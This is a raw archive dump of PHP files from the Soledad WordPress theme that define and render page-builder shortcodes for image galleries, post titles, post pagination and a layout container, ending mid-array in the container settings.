	$btn_custom_css .= 'height:' . esc_attr( $btn_height ) . ';';
}

if ( $btn_bgcolor ) {
	$btn_custom_css .= 'background-color:' . esc_attr( $btn_bgcolor ) . ';';
}
if ( $btn_borcolor ) {
	$btn_custom_css .= 'border-color:' . esc_attr( $btn_borcolor ) . ';';
}
if ( $btn_text_color ) {
	$btn_custom_css .= 'color:' . esc_attr( $btn_text_color ) . ';';
}
if ( $btn_custom_css ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-btn{' . esc_attr( $btn_custom_css ) . '}';
}
$btn_custom_hover_css = '';
if ( $btn_hbgcolor ) {
	$btn_custom_hover_css .= 'background-color:' . esc_attr( $btn_hbgcolor ) . ';';
}
if ( $btn_hborcolor ) {
	$btn_custom_hover_css .= 'border-color:' . esc_attr( $btn_hborcolor ) . ';';
}
if ( $btn_text_hcolor ) {
	$btn_custom_hover_css .= 'color:' . esc_attr( $btn_text_hcolor ) . ';';
}
if ( $btn_custom_hover_css ) {
	$css_custom .= $id_pricing_table . ' .penci-pricing-btn:hover{' . esc_attr( $btn_custom_hover_css ) . '}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $_btn_fsize,
	'font_style' => $_btn_typo,
	'template'   => $id_pricing_table . ' .penci-pricing-btn{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_pricing_table, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\    1  js_composer/shortcodes/image_gallery/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_image_gallery",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/image_gallery/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Image Gallery', 'soledad' ),
	'description'   => 'Image Gallery Block',
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Select style gallery display', 'soledad' ),
				'param_name' => 'style_gallery',
				'std'        => 's1',
				'value'      => array(
					__( 'Style 1 ( Grid )', 'soledad' )             => 's1',
					__( 'Style 2 ( Mixed )', 'soledad' )            => 's2',
					__( 'Style 3 ( Mixed 2 )', 'soledad' )          => 's3',
					__( 'Style 4 ( Justified )', 'soledad' )        => 'justified',
					__( 'Style 5 ( Masonry )', 'soledad' )          => 'masonry',
					__( 'Style 6 ( Slider )', 'soledad' )           => 'single-slider',
					__( 'Style 7 ( Thumbnail Slider )', 'soledad' ) => 'thumbnail-slider',
				),
			),
			array(
				'type'        => 'attach_images',
				'heading'     => __( 'Images', 'soledad' ),
				'param_name'  => 'images',
				'value'       => '',
				'description' => __( 'Select images from media library.', 'soledad' ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Image Size', 'soledad' ),
				'param_name' => 'penci_img_size',
				'std'        => 'medium_large',
				'value'      => Penci_Vc_Params_Helper::get_list_image_sizes(),
				'dependency' => array( 'element' => 'style_gallery', 'value' => array( 's1', 's2', 's3' ) ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Image Size for Big Image', 'soledad' ),
				'param_name' => 'penci_img_size_bitem',
				'std'        => 'penci-full-thumb',
				'value'      => Penci_Vc_Params_Helper::get_list_image_sizes(),
				'dependency' => array( 'element' => 'style_gallery', 'value' => array( 's2', 's3' ) ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Image Type', 'soledad' ),
				'param_name' => 'penci_img_type',
				'value'      => array(
					__( '-- Default --', 'soledad' ) => '',
					__( 'Landscape', 'soledad' )     => 'landscape',
					__( 'Vertical', 'soledad' )      => 'vertical',
					__( 'Square', 'soledad' )        => 'square',
				),
				'dependency' => array( 'element' => 'style_gallery', 'value' => array( 's1', 's2', 's3' ) ),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => esc_html__( 'Caption', 'soledad' ),
				'param_name'       => 'caption_source',
				'value'            => array(
					__( 'Attachment Caption', 'soledad' ) => 'img',
					__( 'None', 'soledad' )               => 'none',
				),
				'std'              => 'img',
				'edit_field_class' => 'vc_col-sm-12',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Columns', 'soledad' ),
				'param_name' => 'gallery_columns',
				'value'      => array(
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
				'std'        => '3',
				'dependency' => array( 'element' => 'style_gallery', 'value' => array( 's1', 'masonry' ) ),
			),
			array(
				'type'             => 'penci_slider',
				'param_name'       => 'row_gap',
				'heading'          => __( 'Rows Gap', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'style_gallery', 'value' => array( 's1' ) ),
			),
			array(
				'type'             => 'penci_slider',
				'param_name'       => 'col_gap',
				'heading'          => __( 'Columns Gap', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'style_gallery', 'value' => array( 's1' ) ),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'gallery_height',
				'heading'          => __( 'Custom the height of images', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'style_gallery', 'value' => array( 'justified', 'masonry' ) ),

			),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Autoplay', 'soledad' ),
				'param_name'  => 'slider_autoplay',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
				'dependency'  => array( 'element' => 'style_gallery', 'value' => array( 'single-slider' ) ),
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_gallery_settings',
				'heading'          => esc_html__( 'Gallery', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icon Color', 'soledad' ),
				'param_name'       => 'p_icon_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'p_icon_size',
				'heading'    => __( 'Size Icon', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'group'      => $group_color,
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Overlay Background Color', 'soledad' ),
				'param_name'       => 'p_overlay_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     0w\K7G(  (  1  js_composer/shortcodes/image_gallery/frontend.phpnu [        <?php

$el_class            = $css_animation = $css = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = $caption_source = '';
$style_gallery       = $images = $auto_play = $disable_loop = $auto_time = $speed = $gallery_height = '';

$penci_img_size = $penci_img_size_bitem = $penci_img_type = $gallery_columns = $slider_autoplay = '';
$row_gap        = $col_gap = '';

$p_icon_color = $p_icon_size = $p_overlay_bgcolor = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );


if ( ! $images ) {
	return;
}
$images = explode( ',', $images );

$class_to_filter = '';
$class_to_filter .= vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-image-gallery';
$css_class .= ' penci-image-gallery-' . $style_gallery;

if ( 's1' == $style_gallery ) {
	$css_class .= ' pencisc-grid-' . $gallery_columns;
}

if ( 'img' == $caption_source ) {
	$caption_source = 'attachment';
} else {
	$css_class .= ' penci-image-not-caption';
}

$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );

$slider_id      = rand( 1000, 100000 );
$block_id       = 'penci-image_gallery_' . $slider_id;
$thumbnail_html = '';
?>
    <div data-sliderid="<?php echo esc_attr( $slider_id ); ?>" id="<?php echo esc_attr( $block_id ); ?>"
         class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content <?php echo esc_attr( 's1' == $style_gallery ? ' pencisc-grid' : '' ); ?>">
			<?php
			$total_img = is_array( $images ) ? count( (array) $images ) : 0;
			$gal_2_i   = $gal_count = 0;

			if ( 's2' == $style_gallery ) {
				foreach ( $images as $image_key => $image_item ) {
					$gal_count ++;
					$gal_2_i ++;

					if ( $image_item < 0 ) {
						continue;
					}

					$class_item         = 'penci-gallery-small-item';
					$penci_img_size_pre = $penci_img_size;
					if ( $gal_count == 1 ) {
						$penci_img_size_pre = $penci_img_size_bitem;
						$class_item         = 'penci-gallery-big-item';
					}

					echo Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size_pre, $penci_img_type, true, $gal_count, $class_item, $caption_source );

					if ( $gal_count == 1 ) {
						echo '<div class="penci-post-smalls">';
					}

					if ( 5 == $gal_count || $gal_2_i == $total_img ) {
						$gal_count = 0;
						echo '</div>';
					}
				}
			} elseif ( 's3' == $style_gallery ) {
				foreach ( $images as $image_key => $image_item ) {
					$gal_count ++;
					$gal_2_i ++;

					if ( $image_item < 0 ) {
						continue;
					}

					$class_item = 'penci-gallery-small-item';
					if ( $gal_count == 1 || $gal_count == 2 ) {
						$penci_img_size = $penci_img_size_bitem;
						$class_item     = 'penci-gallery-big-item';
					}

					echo Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size, $penci_img_type, true, $gal_count, $class_item, $caption_source );

					if ( 5 == $gal_count || $gal_2_i == $total_img ) {
						$gal_count = 0;
					}
				}
			} elseif ( 'justified' == $style_gallery || 'masonry' == $style_gallery || 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
				$data_height = '150';

				if ( is_numeric( $gallery_height ) && 60 < $gallery_height ) {
					$data_height = $gallery_height;
				}

				echo '<div class="penci-post-gallery-container ' . $style_gallery . ' column-' . $gallery_columns . '" data-height="' . $data_height . '" data-margin="3">';

				if ( 'masonry' == $style_gallery ) {
					echo '<div class="inner-gallery-masonry-container">';
				}

				if ( 'single-slider' == $style_gallery ) {
					echo '<div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-nav-visible" data-auto="' . ( 'yes' == $slider_autoplay ? 'true' : 'false' ) . '" data-lazy="true"><div class="swiper-wrapper">';
				}

				$posts = get_posts( array( 'include' => $images, 'post_type' => 'attachment' ) );

				if ( $style_gallery == 'thumbnail-slider' ):
					echo '<div data-id="pcthumb-m-' . $slider_id . '" class="swiper penci-slick-carousel pcthumb-s-msl pcthumb-m-' . $slider_id . '"><div class="swiper-wrapper">';
				endif;


				if ( $posts ) {
					foreach ( $posts as $imagePost ) {
						$caption       = '';
						$gallery_title = '';
						if ( $imagePost->post_excerpt ):
							$caption = $imagePost->post_excerpt;
						endif;
						if ( $caption && 'attachment' == $caption_source ) {
							$gallery_title = ' data-cap="' . esc_attr( $caption ) . '"';
						}

						$get_full    = wp_get_attachment_image_src( $imagePost->ID, 'full' );
						$get_masonry = wp_get_attachment_image_src( $imagePost->ID, 'penci-masonry-thumb' );
						$thumbsize   = 'penci-masonry-thumb';

						$image_alt        = penci_get_image_alt( $imagePost->ID, get_the_ID() );
						$image_title_html = penci_get_image_title( $imagePost->ID );

						$class_a_item = 'penci-gallery-ite';
						if ( 'masonry' != $style_gallery ) {
							$class_a_item = 'penci-gallery-ite item-gallery-' . $style_gallery;
						}

						if ( $style_gallery == 'masonry' || $style_gallery == 'single-slider' ) {
							$class_a_item .= ' item-link-relative';
						}

						if ( 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
							echo '<figure class="swiper-slide">';
							$get_masonry = wp_get_attachment_image_src( $imagePost->ID, 'penci-full-thumb' );
							$thumbsize   = 'penci-full-thumb';
						}
						if ( 'masonry' == $style_gallery ) {
							echo '<div class="item-gallery-' . $style_gallery . '">';
						}

						echo '<a class="' . $class_a_item . ( 'attachment' != $caption_source ? ' added-caption' : '' ) . '" href="' . $get_full[0] . '"' . $gallery_title . ' data-rel="penci-gallery-image-content">';

						if ( 'masonry' == $style_gallery ) {
							echo '<div class="inner-item-masonry-gallery">';
						}

						if ( $style_gallery == 'masonry' || $style_gallery == 'single-slider' ) {
							echo penci_get_ratio_img_basedid( $imagePost->ID, $thumbsize );
						}
						echo '<img class="" src="' . $get_masonry[0] . '" alt="' . $image_alt . '"' . $image_title_html . '>';

						if ( $style_gallery == 'justified' && $caption && 'attachment' == $caption_source ) {
							echo '<div class="caption">' . wp_kses( $caption, array(
									'em'     => array(),
									'strong' => array(),
									'b'      => array(),
									'i'      => array()
								) ) . '</div>';
						}
						if ( 'masonry' == $style_gallery ) {
							echo '</div>';
						}

						echo '</a>';

						// Close item-gallery-' . $style_gallery . '-wrap
						if ( 'masonry' == $style_gallery ) {
							echo '</div>';
						}

						if ( 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
							if ( $caption ) {
								echo '<p class="penci-single-gallery-captions">' . $caption . '</p>';
							}
							echo '</figure>';
						}

						if ( $style_gallery == 'thumbnail-slider' ) {
							$get_thumbnail_slider_img = wp_get_attachment_image_src( $imagePost->ID, 'thumbnail' );
							$thumbnail_html           .= '<div class="pcgl-thumb-item swiper-slide"><div class="pcgl-thumb-item-img"><span class="penci-image-holder" style="background-image:url(' . $get_thumbnail_slider_img[0] . ')"></div></div>';
						}
					}
				}

				if ( 'masonry' == $style_gallery || 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
					echo '</div>';
				}

				if ( 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
					echo '</div>';
				}

				if ($style_gallery == 'thumbnail-slider') {
					$nav = '<div class="penci-slick-carousel-top-nav"><div class="pcslick-nav-area"><div class="pcslick-nav"><button type="button" class="slick-prev"><i class="penciicon-left-chevron"></i></button><button type="button" class="slick-next"><i class="penciicon-right-chevron"></i></button></div><div class="slider-num"><span class="current">1</span>' . __(' of ', 'soledad') . '<span class="total">' . count($posts) . '</span></div></div></div>';
					echo '<div data-cols="7" data-total="'.count($posts).'" data-id="pcthumb-c-' . $slider_id . '" class="swiper pcthumb-s-csl pcgl-thumb-slider penci-slick-carousel pcthumb-c-' . $slider_id . '"><div class="swiper-wrapper">' . $thumbnail_html . '</div>'.$nav.'</div>';
				}

				echo '</div>';
			} else {
				foreach ( $images as $image_key => $image_item ) {
					$gal_count ++;
					$gal_2_i ++;

					if ( $image_item < 0 ) {
						continue;
					}
					echo Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size, $penci_img_type, true, $gal_count, '', $caption_source );
				}
			}

			?>
        </div>
    </div>
<?php
$id_image_gallery  = '#' . $block_id;
$id_image_gallery2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom        = Penci_Vc_Helper::get_heading_block_css( $id_image_gallery, $atts );

$row_col_gap = '';
if ( $row_gap ) {
	$row_col_gap .= 'grid-row-gap: ' . esc_attr( $row_gap ) . ';';
}
if ( $col_gap ) {
	$row_col_gap .= 'grid-column-gap: ' . esc_attr( $col_gap ) . ';';
}
if ( $row_col_gap ) {
	$css_custom .= $id_image_gallery . ' .pencisc-grid{' . esc_attr( $row_col_gap ) . '}';
}
if ( $p_icon_color ) {
	$css_custom .= $id_image_gallery2 . ' .penci-gallery-item i{ color:' . esc_attr( $p_icon_color ) . '; }';
}
if ( $p_icon_size ) {
	$css_custom .= $id_image_gallery . ' .penci-gallery-item i{ font-size:' . esc_attr( $p_icon_size ) . '; }';
}
if ( $p_overlay_bgcolor ) {
	$css_custom .= $id_image_gallery2 . ' .penci-gallery-item a::after{ background-color:' . esc_attr( $p_overlay_bgcolor ) . '; }';
}
if ( $penci_img_type ) {
	if ( 'square' == $penci_img_type ) {
		$css_custom .= $id_image_gallery . ' .penci-image-holder:before{ padding-top: 100%; }';
	} elseif ( 'vertical' == $penci_img_type ) {
		$css_custom .= $id_image_gallery . ' .penci-image-holder:before{ padding-top: 135.4%; }';
	} else {
		$css_custom .= $id_image_gallery . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
	}
}
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_image_gallery, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\~} v    3  js_composer/shortcodes/pc_single_title/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_title",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_title/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Title', 'soledad' ),
	'description'   => 'Post Builder - Author',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Title Markup', 'soledad' ),
			'param_name'       => 'heading_markup',
			'value'            => array(
				'H1' => 'h1',
				'H2' => 'h2',
				'H3' => 'h3',
				'H4' => 'h4',
				'H5' => 'h5',
				'H6' => 'h6',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Heading Align', 'soledad' ),
			'param_name'       => 'heading_align',
			'value'            => array(
				'Left'   => 'left',
				'Right'  => 'right',
				'Center' => 'center',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Heading Line', 'soledad' ),
			'param_name'       => 'heading_line',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Main Text Color', 'soledad' ),
			'param_name'       => 'main_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
			'param_name'       => 'use_ptitle_typo',
			'value'            => 'no',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'main_text_font',
			'value'      => '',
			'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Line Color', 'soledad' ),
			'param_name'       => 'heading-line-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Heading Line Spacing with Title', 'soledad' ),
			'param_name'       => 'heading-line-s',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Heading Line Width', 'soledad' ),
			'param_name'       => 'heading-line-w',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Heading Line Height', 'soledad' ),
			'param_name'       => 'heading-line-h',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\v#Ձ    3  js_composer/shortcodes/pc_single_title/frontend.phpnu [        <?php
$settings      = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id      = Penci_Vc_Helper::get_unique_id_block( 'pc_single_title' );
$css_custom    = '';
$heading_tag   = $settings['heading_markup'];
$heading_align = $settings['heading_align'];
$css_class     = vc_shortcode_custom_css_class( $settings['css'] );
echo '<div id="' . $block_id . '" class="header-standard align-' . $heading_align . ' ' . $css_class . '"><' . $heading_tag . ' class="post-title single-post-title entry-title"><span>' . get_the_title() . '</span></' . $heading_tag . '></div>';
$css      = [
	'heading_line'       => [
		'{{WRAPPER}} .header-standard:after' => 'display:none',
		'{{WRAPPER}} .header-standard'       => 'padding:0;margin:0;',
	],
	'main-text-color'    => [ '{{WRAPPER}} .post-title' => 'color:{{VALUE}} !important' ],
	'heading-line-color' => [ '{{WRAPPER}} .header-standard:after' => 'background-color:{{VALUE}} !important' ],
	'heading-line-s'     => [ '{{WRAPPER}} .header-standard' => 'padding-bottom:{{VALUE}}px;' ],
	'heading-line-h'     => [
		'{{WRAPPER}} .header-standard:after' => 'height:{{SIZE}}px !important;',
	],
	'heading-line-w'     => [
		'{{WRAPPER}} .header-standard:after'              => 'width:{{SIZE}}px !important;',
		'{{WRAPPER}} .header-standard.align-center:after' => 'margin-left:calc({{SIZE}}px / 2 * -1)',
	],
];
$typo_css = Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => '#' . $block_id . '  .post-title{ %s }',
) );
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id, $typo_css );
PK     0w\    =  js_composer/shortcodes/pc_single_postspagination/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_postspagination",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_postspagination/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Posts Pagination', 'soledad' ),
	'description'   => 'Post Builder - Posts Pagination',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Post Navigation Thumbnail?', 'soledad' ),
			'param_name'       => 'penci_post_nav_thumbnail',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Thumbnail Size', 'soledad' ),
			'param_name'       => 'thumb_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Small Text Description', 'soledad' ),
			'param_name'       => 'post_desc_typo',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Post Title', 'soledad' ),
			'param_name'       => 'post_title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
			'param_name'       => 'post_title_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\-fz  z  =  js_composer/shortcodes/pc_single_postspagination/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
$thumbsize  = $settings['thumb_size'];
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_single_postpagination' );
$css_custom = '';
?>
    <div id="<?php echo $block_id; ?>" class="post-pagination <?php echo $css_class; ?>">
		<?php
		$prev_post = get_previous_post();
		$next_post = get_next_post();
		?>
		<?php if ( ! empty( $prev_post ) ) : ?>
            <div class="prev-post prvn-item">
				<?php if ( has_post_thumbnail( $prev_post->ID ) && 'yes' == $settings['penci_post_nav_thumbnail'] ): ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                        <a class="penci-post-nav-thumb penci-holder-load penci-lazy"
                           href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>"
                           data-bgset="<?php echo penci_image_srcset( $prev_post->ID, $thumbsize ); ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-post-nav-thumb"
                           href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>"
                           style="background-image: url('<?php echo penci_get_featured_image_size( $prev_post->ID, $thumbsize ); ?>');">
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="prev-post-inner">
                    <div class="prev-post-title">
                        <span><?php echo penci_get_setting( 'penci_trans_previous_post' ); ?></span>
                    </div>
                    <a href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
                        <div class="pagi-text">
                            <h5 class="prev-title"><?php echo get_the_title( $prev_post->ID ); ?></h5>
                        </div>
                    </a>
                </div>
            </div>
		<?php endif; ?>

		<?php if ( ! empty( $next_post ) ) : ?>
            <div class="next-post prvn-item">
				<?php if ( has_post_thumbnail( $next_post->ID ) && 'yes' == $settings['penci_post_nav_thumbnail'] ): ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                        <a class="penci-post-nav-thumb penci-holder-load penci-lazy nav-thumb-next"
                           href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>"
                           data-bgset="<?php echo penci_image_srcset( $next_post->ID, $thumbsize ); ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-post-nav-thumb nav-thumb-next"
                           href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>"
                           style="background-image: url('<?php echo penci_get_featured_image_size( $next_post->ID, $thumbsize ); ?>');">
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="next-post-inner">
                    <div class="prev-post-title next-post-title">
                        <span><?php echo penci_get_setting( 'penci_trans_next_post' ); ?></span>
                    </div>
                    <a href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
                        <div class="pagi-text">
                            <h5 class="next-title"><?php echo get_the_title( $next_post->ID ); ?></h5>
                        </div>
                    </a>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php
$css = [
	'post_desc_color'   => [ '{{WRAPPER}} .post-pagination .prev-post-title span' => 'color: {{VALUE}}' ],
	'post_title_color'  => [ '{{WRAPPER}} .post-pagination a' => 'color: {{VALUE}}' ],
	'post_title_hcolor' => [ '{{WRAPPER}} .post-pagination a:hover' => 'color: {{VALUE}}' ],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     0w\P($  $  -  js_composer/shortcodes/container/settings.phpnu [        <?php
vc_map( array(
	'base'                    => 'penci_container',
	'class'                   => '',
	'icon'                    => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'                => penci_get_theme_name('Soledad'),
	'html_template'           => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/container/frontend.php',
	'name'                    => penci_get_theme_name('Penci').' '.__( 'Container', 'soledad' ),
	'description'             => esc_html__( 'Place content elements inside the container', 'js_composer' ),
	'weight'                  => 1000,
	'is_container'            => true,
	'show_settings_on_create' => false,
	'params'                  => array(
		array(
			'type'       => 'hidden',
			'param_name' => 'container_layout',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Choose with container', 'soledad' ),
			'param_name' => 'el_width',
			'value'      => array(
				esc_html__( 'Container ( width: 1080px ) ', 'soledad' )        => 'w1080',
				esc_html__( 'Container normal ( width: 1170px ) ', 'soledad' ) => 'w1170',
				esc_html__( 'Container fluid ( width: 1400px ) ', 'soledad' )  => 'w1400',
			),
			'std'        => 'w1170',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Custom position of content and sidebar on mobile', 'soledad' ),
			'param_name' => 'ctsidebar_mb',
			'value'      => array(
				esc_html__( 'Content + Sidebar left + Sidebar right', 'soledad' ) => 'con_sb2_sb1',
				esc_html__( 'Content + Sidebar right + Sidebar left', 'soledad' ) => 'con_sb1_sb2',
				esc_html__( 'Sidebar left + Content + Sidebar right', 'soledad' ) => 'sb2_con_sb1',
				esc_html__( 'Sidebar left + Sidebar right + Content', 'soledad' ) => 'sb2_sb1_con',
				esc_html__( 'Sidebar right + Content + Sidebar left', 'soledad' ) => 'sb1_con_sb2',
				esc_html__( 'Sidebar right + Sidebar left + Content', 'soledad' ) => 'sb1_sb2_con',
			),
			'std'        => '',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Enable sticky content & sidebar.', 'soledad' ),
			'param_name' => 'el_enable_sticky',
			'value'      => array( __( 'Yes', 'soledad' ) => 'yes' ),
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'        => 'el_id',
			'heading'     => __( 'Container ID', 'soledad' ),
			'param_name'  => 'el_id',
			'description' => sprintf( __( 'Enter optional row ID. Make sure it is unique, and it is valid as w3c specification: %s (Must not have spaces)', 'soledad' ), '<a target="_blank" href="http://www.w3schools.com/tags/att_global_id.asp">' . __( 'link', 'soledad' ) . '</a>' ),
		),
		array(
			'type' => 'textfield',
